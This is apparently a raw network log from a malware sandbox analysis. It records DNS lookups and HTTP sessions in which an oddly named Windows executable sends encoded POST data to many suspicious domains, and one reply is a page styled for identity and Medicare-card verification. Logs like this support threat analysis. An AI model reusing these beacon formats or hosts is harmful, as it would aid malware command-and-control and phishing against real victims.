Jul 9, 2024 12:08:47.697277069 CEST	1.1.1.1	192.168.2.9	0x8d78	No error (0)	www.alphacentura.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:08:47.697277069 CEST	1.1.1.1	192.168.2.9	0x8d78	No error (0)	www.alphacentura.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:02.676990986 CEST	1.1.1.1	192.168.2.9	0x2ceb	No error (0)	www.xn72dkd7scx.shop	weien.cdn.youziyuncdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:09:02.676990986 CEST	1.1.1.1	192.168.2.9	0x2ceb	No error (0)	weien.cdn.youziyuncdn.com		134.122.138.60	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:02.678003073 CEST	1.1.1.1	192.168.2.9	0x2ceb	No error (0)	www.xn72dkd7scx.shop	weien.cdn.youziyuncdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:09:02.678003073 CEST	1.1.1.1	192.168.2.9	0x2ceb	No error (0)	weien.cdn.youziyuncdn.com		134.122.138.60	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:16.550077915 CEST	1.1.1.1	192.168.2.9	0x7363	No error (0)	www.dynamologistics.net		35.212.86.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:30.193000078 CEST	1.1.1.1	192.168.2.9	0xf60d	No error (0)	www.globaltrend.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:30.193000078 CEST	1.1.1.1	192.168.2.9	0xf60d	No error (0)	www.globaltrend.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:45.038877010 CEST	1.1.1.1	192.168.2.9	0x66b8	No error (0)	www.ffi07s.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:09:45.038877010 CEST	1.1.1.1	192.168.2.9	0x66b8	No error (0)	www.ffi07s.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178251028 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	www.j51a.xyz	huayang.302.gn301.xyz		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178251028 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		154.12.34.252	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178251028 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		154.222.238.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178251028 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		172.247.15.110	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178251028 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		172.247.21.75	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178251028 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		154.12.34.91	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178312063 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	www.j51a.xyz	huayang.302.gn301.xyz		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178312063 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		154.12.34.252	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178312063 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		154.222.238.52	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178312063 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		172.247.15.110	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178312063 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		172.247.21.75	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:00.178312063 CEST	1.1.1.1	192.168.2.9	0x9e8f	No error (0)	huayang.302.gn301.xyz		154.12.34.91	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:13.738733053 CEST	1.1.1.1	192.168.2.9	0x2ea6	No error (0)	www.dospole.top		162.254.38.56	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:27.323451996 CEST	1.1.1.1	192.168.2.9	0xc924	No error (0)	www.tp-consulting.net		5.252.229.221	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:40.799731970 CEST	1.1.1.1	192.168.2.9	0x39b1	No error (0)	www.lexpaidshares.online	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:10:40.799731970 CEST	1.1.1.1	192.168.2.9	0x39b1	No error (0)	ghs.googlehosted.com		142.250.185.147	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:10:54.475109100 CEST	1.1.1.1	192.168.2.9	0x4dd5	No error (0)	www.viertage.work		185.181.104.242	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:11:08.916131020 CEST	1.1.1.1	192.168.2.9	0x415b	No error (0)	www.9988566a4.shop	tou6y19.tta88.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:11:08.916131020 CEST	1.1.1.1	192.168.2.9	0x415b	No error (0)	tou6y19.tta88.com		38.145.202.186	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:11:23.394615889 CEST	1.1.1.1	192.168.2.9	0xc5c2	No error (0)	www.rightol.net	rightol.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:11:23.394615889 CEST	1.1.1.1	192.168.2.9	0xc5c2	No error (0)	rightol.net		94.130.217.114	A (IP address)	IN (0x0001)	false
Jul 9, 2024 12:11:37.052222967 CEST	1.1.1.1	192.168.2.9	0x5787	No error (0)	www.wegamovies.online	wegamovies.online		CNAME (Canonical name)	IN (0x0001)	false
Jul 9, 2024 12:11:37.052222967 CEST	1.1.1.1	192.168.2.9	0x5787	No error (0)	wegamovies.online		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.u9games.xyz

www.dtalengineering.com

www.alphacentura.com

www.xn72dkd7scx.shop

www.dynamologistics.net

www.globaltrend.xyz

www.ffi07s.xyz

www.j51a.xyz

www.dospole.top

www.tp-consulting.net

www.lexpaidshares.online

www.viertage.work

www.9988566a4.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49715	142.250.185.211	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:11.644896984 CEST	563	OUT	GET /5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5+Meub8zzKE0bi08FFPHLb+gDk5IVms6Q4x1dlGioX/f7BYVBQYq1+WtKZplIRrH9tE8oduNyVeBv0iNKG92SjPfl0JtCvCvw== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.u9games.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:08:12.352881908 CEST	540	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 09 Jul 2024 10:08:12 GMT Location: https://www.u9games.xyz/5p8u/?GJtTF=-FH8yJw&lv-=BWPzmKqqe8/bm9Y7L5+Meub8zzKE0bi08FFPHLb+gDk5IVms6Q4x1dlGioX/f7BYVBQYq1+WtKZplIRrH9tE8oduNyVeBv0iNKG92SjPfl0JtCvCvw%3D%3D Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49716	103.42.108.46	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:32.822232962 CEST	844	OUT	POST /la5g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dtalengineering.com Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dtalengineering.com Referer: http://www.dtalengineering.com/la5g/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 34 4e 6e 31 35 37 71 4b 6a 73 58 34 78 6b 39 2b 53 72 53 75 73 45 56 74 6f 42 54 31 6a 42 51 72 47 6a 38 45 51 59 53 66 56 67 33 61 67 79 76 6c 43 4f 70 63 69 31 77 78 45 72 74 56 61 77 55 6e 35 58 30 63 71 62 71 39 48 5a 78 77 2f 74 46 53 6f 59 74 49 73 43 67 64 4e 73 35 4f 66 49 2f 50 6c 2b 42 30 41 46 75 4e 79 33 72 5a 6e 64 6b 52 45 6b 42 48 32 55 51 49 59 78 78 74 38 53 2f 76 43 65 6a 6b 44 75 66 79 54 36 58 61 75 5a 69 41 73 67 70 75 57 70 50 31 6d 4b 68 36 41 30 6c 47 4f 34 58 74 4f 50 32 78 37 47 34 78 59 38 59 7a 70 51 30 62 7a 5a 39 4b 70 42 53 4f Data Ascii: lv-=4Nn157qKjsX4xk9+SrSusEVtoBT1jBQrGj8EQYSfVg3agyvlCOpci1wxErtVawUn5X0cqbq9HZxw/tFSoYtIsCgdNs5OfI/Pl+B0AFuNy3rZndkREkBH2UQIYxxt8S/vCejkDufyT6XauZiAsgpuWpP1mKh6A0lGO4XtOP2x7G4xY8YzpQ0bzZ9KpBSO
Jul 9, 2024 12:08:33.693687916 CEST	170	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/plain; charset=utf-8 Date: Tue, 09 Jul 2024 10:08:33 GMT Content-Length: 18 Connection: close Data Raw: 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 Data Ascii: Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49717	103.42.108.46	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:35.398618937 CEST	868	OUT	POST /la5g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dtalengineering.com Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dtalengineering.com Referer: http://www.dtalengineering.com/la5g/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 34 4e 6e 31 35 37 71 4b 6a 73 58 34 77 46 74 2b 55 4d 6d 75 37 55 56 75 6d 68 54 31 34 52 51 76 47 6a 77 45 51 64 71 50 56 53 6a 61 67 54 66 6c 44 4c 64 63 6a 31 77 78 4d 4c 74 63 56 51 55 67 35 58 49 6c 71 61 57 39 48 59 52 77 2f 76 64 53 6f 76 78 58 74 53 67 66 46 4d 35 4d 52 6f 2f 50 6c 2b 42 30 41 46 37 59 79 33 6a 5a 6e 74 55 52 46 41 56 45 70 6b 51 4c 49 68 78 74 74 69 2f 72 43 65 6a 4e 44 72 48 49 54 34 2f 61 75 63 4f 41 39 52 70 74 63 70 50 76 37 36 67 61 49 6d 30 53 42 70 48 44 44 2b 53 4c 35 56 41 59 62 64 34 74 34 69 39 41 6d 4f 39 74 75 6d 62 6d 6f 46 34 4f 34 76 57 2b 35 75 59 73 71 4d 37 4b 65 47 44 70 37 51 3d 3d Data Ascii: lv-=4Nn157qKjsX4wFt+UMmu7UVumhT14RQvGjwEQdqPVSjagTflDLdcj1wxMLtcVQUg5XIlqaW9HYRw/vdSovxXtSgfFM5MRo/Pl+B0AF7Yy3jZntURFAVEpkQLIhxtti/rCejNDrHIT4/aucOA9RptcpPv76gaIm0SBpHDD+SL5VAYbd4t4i9AmO9tumbmoF4O4vW+5uYsqM7KeGDp7Q==
Jul 9, 2024 12:08:36.267995119 CEST	170	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/plain; charset=utf-8 Date: Tue, 09 Jul 2024 10:08:36 GMT Content-Length: 18 Connection: close Data Raw: 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 Data Ascii: Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49718	103.42.108.46	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:37.977267981 CEST	1881	OUT	POST /la5g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dtalengineering.com Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dtalengineering.com Referer: http://www.dtalengineering.com/la5g/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 34 4e 6e 31 35 37 71 4b 6a 73 58 34 77 46 74 2b 55 4d 6d 75 37 55 56 75 6d 68 54 31 34 52 51 76 47 6a 77 45 51 64 71 50 56 53 62 61 68 68 58 6c 42 6f 46 63 6c 46 77 78 47 72 74 52 56 51 55 78 35 58 51 68 71 61 62 4b 48 64 56 77 39 4d 56 53 75 64 5a 58 6a 53 67 66 4a 73 35 4e 66 49 2f 57 6c 2b 52 77 41 46 72 59 79 33 6a 5a 6e 76 4d 52 41 6b 42 45 36 30 51 49 59 78 78 68 38 53 2b 30 43 66 4c 33 44 72 79 31 55 49 66 61 75 38 65 41 75 44 78 74 47 70 50 78 36 36 67 34 49 6d 34 6b 42 70 61 34 44 2b 57 68 35 57 67 59 4b 34 5a 4e 70 78 4e 4c 31 74 67 46 68 57 33 7a 67 46 6c 72 68 50 79 35 35 50 45 2b 37 74 2b 69 4c 30 47 4c 34 6d 69 78 4e 66 77 2b 56 33 43 62 4d 74 36 6f 48 44 31 6e 6c 6a 52 5a 67 38 58 4b 54 59 2b 54 78 31 4e 39 63 65 76 62 39 4a 35 42 32 78 4c 79 63 67 30 7a 4f 79 66 75 4f 44 34 4b 79 73 68 43 34 48 54 41 32 37 57 38 67 44 48 58 43 53 33 4f 30 58 32 66 65 43 66 2b 64 4b 51 65 57 31 39 5a 35 6a 6b 63 36 38 52 70 39 70 79 54 6e 33 4b 30 69 34 6e 5a 2f 31 76 62 30 70 75 4d 36 4d [TRUNCATED] Data Ascii: lv-=4Nn157qKjsX4wFt+UMmu7UVumhT14RQvGjwEQdqPVSbahhXlBoFclFwxGrtRVQUx5XQhqabKHdVw9MVSudZXjSgfJs5NfI/Wl+RwAFrYy3jZnvMRAkBE60QIYxxh8S+0CfL3Dry1UIfau8eAuDxtGpPx66g4Im4kBpa4D+Wh5WgYK4ZNpxNL1tgFhW3zgFlrhPy55PE+7t+iL0GL4mixNfw+V3CbMt6oHD1nljRZg8XKTY+Tx1N9cevb9J5B2xLycg0zOyfuOD4KyshC4HTA27W8gDHXCS3O0X2feCf+dKQeW19Z5jkc68Rp9pyTn3K0i4nZ/1vb0puM6MhEkvT2TBFXMdMSk/CzYJFw1p6DI1lMUs5HnJujCoWnoAyR6ECkMlulYWhXI6rINmg0csMF8KZO3W+fGD4iy3S7uxa9D0xMK+MuI2VttrzAvOuBjP8M67qxtjAS7fZmdSCdbBOkrPo4Jz2aZPwBkB0Dpi+bK4tQlUk3ZxmoArNcxvWyENImIFd80+BmSIVtFEKRufkT9glVqGopY63RVxCJAcCVB6ho4CLOQgQBwabDcsMcrSBDHZ5l95d0iuu25MvdHhEnAN4UGNTBpj8tz+82O9+H19elNQVRTo50FdxdwNsSzRlGBcg8AIYbvk/bw2hqupWJ8K0mL0P5ab+1LDYuV21Gb6OrQAQjDbxr3rxQGv4+VluoNgCrJfqWOFJf1n7eMcqVWzIwLt5hixKxLSskbzoD15ag5fToqaxNueO7gVIjtf3Uyq5G+OPnZtpupAxed+HN75OmAl3gH/xssNl51VKRECQxNWXm1Cl8h2Xi0CdJSUMpj0WbmIHbmCJhoMFjGGEbkIhQJbAFM4jtEXylsPnb7zGKyVYKzb0O/2pnQDO7FSMlXtIDMydke5y4V6nfciwPBvgthUhvPatytIN9N4wPFPxsgufAt/bUZEI7xAYBj/OyFlARa3m98ZgmsAfgBW/hV/Mc144M5bgAIGVfdtWlMtc06h8W [TRUNCATED]
Jul 9, 2024 12:08:38.824285984 CEST	170	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/plain; charset=utf-8 Date: Tue, 09 Jul 2024 10:08:38 GMT Content-Length: 18 Connection: close Data Raw: 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 Data Ascii: Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49719	103.42.108.46	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:08:40.543473959 CEST	571	OUT	GET /la5g/?lv-=1PPV6OmQtv6ujzxmde6xwEMvtAHXmjw0ET0xU8GpAjXY4BrLKK8c6E8QLqBoUjQmvUIqtY3TT4ZQ1NARuPdgqw8nEMVyZqzJ1NN5IW2O5lnTqqMxQQ==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.dtalengineering.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:08:41.443200111 CEST	1236	IN	HTTP/1.1 200 OK Cache-Control: no-cache, private Content-Type: text/html; charset=UTF-8 Date: Tue, 09 Jul 2024 10:08:41 GMT Connection: close Transfer-Encoding: chunked Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 41 55 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 76 65 6e 74 72 61 69 70 2e 63 6f 6d 2e 61 75 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 73 79 6e 65 72 67 79 77 68 6f 6c 65 73 61 6c 65 2e 63 6f 6d 2f 6d 61 6e 61 67 65 2f 73 74 79 6c 65 2e 63 73 73 3f 76 3d 35 36 33 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 44 72 6f 69 64 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e [TRUNCATED] Data Ascii: 8000<!DOCTYPE html> <html lang=en-AU><head><link rel="icon" type="image/x-icon" href="https://ventraip.com.au/favicon.ico"><link rel="stylesheet" href="//static.synergywholesale.com/manage/style.css?v=563" type="text/css"><link href="//fonts.googleapis.com/css?family=Droid+Sans:400,700" rel="stylesheet" type="text/css"><script type="text/javascript" src="/inc/js/components/jquery-3.5.1.min.js"></script><script type="text/javascript" src="/inc/js/components/client.js"></script><link rel="stylesheet" href="/inc/js/components/Aristo.css" type="text/css" /><script type="text/javascript" src="/inc/js/components/jquery-ui.min.js?v=2"></script><link rel="stylesheet" href="/inc/js/components/fancybox.min.css" type="text/css" /><link rel="stylesheet" href="/inc/style/scss/timepicker.css"><link rel="stylesheet" href="/inc/js/components/chosen.css"><script type="text/javascript" src="/inc/js/components/polyfill.min.js"></script><script type="text/jav [TRUNCATED]
Jul 9, 2024 12:08:41.443227053 CEST	1236	IN	Data Raw: 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 69 6e 63 2f 6a 73 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 66 61 6e 63 79 62 6f 78 2e 6d Data Ascii: js"></script><script type="text/javascript" src="/inc/js/components/fancybox.min.js"></script><script type="text/javascript" src="/inc/js/components/sweetalert2.min.js"></script><script type="text/javascript" src="/inc/js/component
Jul 9, 2024 12:08:41.443243027 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: width: 100%; display: flex; justify-content: center; max-width: 95vw; } td input, td select { width: 100%;
Jul 9, 2024 12:08:41.443346024 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 39 30 76 77 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 34 70 78 20 61 75 74 6f 20 21 69 6d Data Ascii: max-width: 90vw !important; margin: 4px auto !important } } #personal_details { align-items: center; } .input {
Jul 9, 2024 12:08:41.443361998 CEST	1236	IN	Data Raw: 69 6e 3a 20 34 70 78 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 Data Ascii: in: 4px 0; } input[type=submit] { background: linear-gradient(45deg,#e32f9b 14.6%,#fc35ad 85.4%) !important; border: 0; height: 56px; min-width: 170p
Jul 9, 2024 12:08:41.443377972 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 53 74 61 72 74 20 4c 6c 65 79 74 6f 6e 20 53 74 79 6c 69 6e 67 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 76 2e 74 65 6d 70 6c 61 74 65 2d 63 65 6e 74 65 Data Ascii: } /* Start Lleyton Styling */ div.template-center { width: 100%; overflow: hidden; margin: 0 0 auto; } #identity-verification > h2 {
Jul 9, 2024 12:08:41.443394899 CEST	1236	IN	Data Raw: 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 Data Ascii: flex-wrap: wrap; padding: 0 20px; } #verify-form .document-types__select > label { display: flex; flex-direction: column; align-items: center;
Jul 9, 2024 12:08:41.443748951 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 65 64 69 63 61 72 65 2d 63 61 72 64 2d 6e 75 6d 62 65 72 Data Ascii: margin-top: 2px; } .medicare-card-number:first-of-type { margin-right: 8px; } h1, h2, h3, h4, h5, h6 { color: white !important;
Jul 9, 2024 12:08:41.443764925 CEST	1236	IN	Data Raw: 64 74 68 3a 31 32 30 30 70 78 29 7b 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 38 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 35 30 2e 34 70 78 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e Data Ascii: dth:1200px){h1{font-size:38px;line-height:50.4px}}@supports (-webkit-font-smoothing:antialiased){.h1.bold,.h2.bold,.h3.bold,.h4.bold,.h5.bold,.h6.bold,h1.bold,h2.bold,h3.bold,h4.bold,h5.bold,h6.bold{font-weight:700}}@supports (-webkit-font-smo
Jul 9, 2024 12:08:41.443783045 CEST	1236	IN	Data Raw: 68 3a 39 39 31 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 7b 6d 61 78 2d 77 69 64 74 68 3a 37 30 38 70 78 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 20 61 6e 64 20 28 Data Ascii: h:991px){.contain{max-width:708px}}@media only screen and (max-width:1200px) and (max-width:767px){.contain{max-width:95vw}}main{display:flex;flex-direction:column}@keyframes relative{0%{position:relative}to{position:relative}}.colorize,.color
Jul 9, 2024 12:08:41.448679924 CEST	1236	IN	Data Raw: 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 2e 69 63 6f 6e 2d 66 61 63 65 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 39 34 37 22 7d 2e 69 63 6f 6e 2d 79 6f 75 Data Ascii: ;-moz-osx-font-smoothing:grayscale}.icon-facebook:before{content:"\e947"}.icon-youtube:before{content:"\e948"}.icon-twitter:before{content:"\e949"}.icon-instagram:before{content:"\e94a"}@keyframes fadein{0%{-ms-filter:"progid:DXImageTransform.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49720	188.114.96.3	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
